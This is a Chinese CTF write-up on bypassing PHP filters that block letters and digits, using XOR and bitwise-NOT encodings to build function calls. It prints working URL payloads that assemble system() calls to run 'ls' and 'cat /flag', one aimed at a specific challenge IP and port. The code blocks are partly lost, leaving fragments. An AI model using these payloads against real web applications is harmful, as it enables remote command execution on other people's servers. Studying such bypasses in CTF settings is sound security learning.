前些日子在做Gq师傅一道题目时用到了无字符绕过,发现自己还是不够深入了解,因此今日再来深入学习学习
方法一(异或)
基本原理
两个字符异或能够产生新的字符(本质就是将二进制位进行逐个异或最终得到的二进制转换为10进制再转换为字符得到新的字符)
- 异或是什么
指一种运算方式,其符号是^
| 1 | 1 ^ 1 = 0 | 
异或脚本
| 1 | 
 | 
运行脚本

借此我们可以构造payload
题目
| 1 | 
 | 
- 这里使用正则表达式对我们的可见字符和部分不可见字符。 x00- 0-9A-Za-z 这是指匹配aiisc码 0- - 48 的字符加上数字 0-9 、字母 a-z ,还有几个 单引号、双引号、反引号、取反符号、位运算符号、点、逗 - 号、|、=、aiisc码为127(x7f)的字符 。这里看起来aiisc已经用完($、{}、^仍然可以使用), - 其实aiisc码扩展表是0-255的,也就是说 128-255 的aiisc的字符我们仍然能够使用。那么我们使用 - 128-255的字符来异或出来我们的字符,为了减少运算量我们可以固定一个字符,使用128-255的 - 字符来异或 xff 也就是aiisc码的字符。我们将上面的脚本改写一下 
| 1 | 
 | 
异或可见结果
| 1 | %81^%FF=>~ %82^%FF=>} %83^%FF=>| | 
- 我们还需要知道的一点是字符串他也是可以异或的,但是他的异或其实是以字符串的对应字符相异或。如下图:

- 因此我们可以通过这样来动态构建函数
| 1 | eval("${_GET}{'a'}();") | 
| 1 | ${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}()//${_GET}{%ff}() | 

- 当然我们可以嵌套来传参,从而Getflag,但是参数要选其他不可见字符
| 1 | ${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}(${%a0%b8%ba%ab^%ff%ff%ff%ff}{%a0}); | 
- 最终payload
| 1 | http://39.107.126.173:28452/?a=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff} (${%a0%b8%ba%ab^%ff%ff%ff%ff}{%a0});&%ff=system&%a0=cat%20/flag | 

方法二(取反)
基本原理
同样以一道题为例
| 1 | 
 | 
- 可以看出这里过滤了 - ^,说明异或是不可行的了,但是没过滤- ~,那么我们可以考虑用另一种绕过方法——取反绕过
- 我们可以使用取反的方法将可见字符变成不可见字符,再传入参数时候前面加上 ~ 将不可见字符取反为可见字符。最终导致代码执行。(所谓取反就是将字符的二进制按位取反,也就是所谓的反码,再转换为十进制再将十进制当做 - aiisc转换为字符。)
- 例如,我们把 - phpinfo取反

可以发现phpinfo变成了不可见字符
当我们在前面再加~看看会发生什么

芜湖,变回来了
- 因此,我们可以借这个来进行动态拼接函数,原理如下

- payload
| 1 | ?a=(~%8F%97%8F%96%91%99%90)(); | 
题目
| 1 | 
 | 
- 根据上述原理,构造payload
| 1 | %8C%86%8C%8B%9A%92 =>system取反后的结果 (~%8C%86%8C%8B%9A%92)(); =>构造出system(); %93%8C =>ls取反后的结果 | 
| 1 | ?a=(~%8C%86%8C%8B%9A%92)((~%93%8C)); | 

- 当然也可以直接cat /flag
| 1 | %9C%9E%8B%DF%D0%99%93%9E%98//cat /flag | 
- 最终payload
| 1 | ?a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D0%99%93%9E%98)); | 

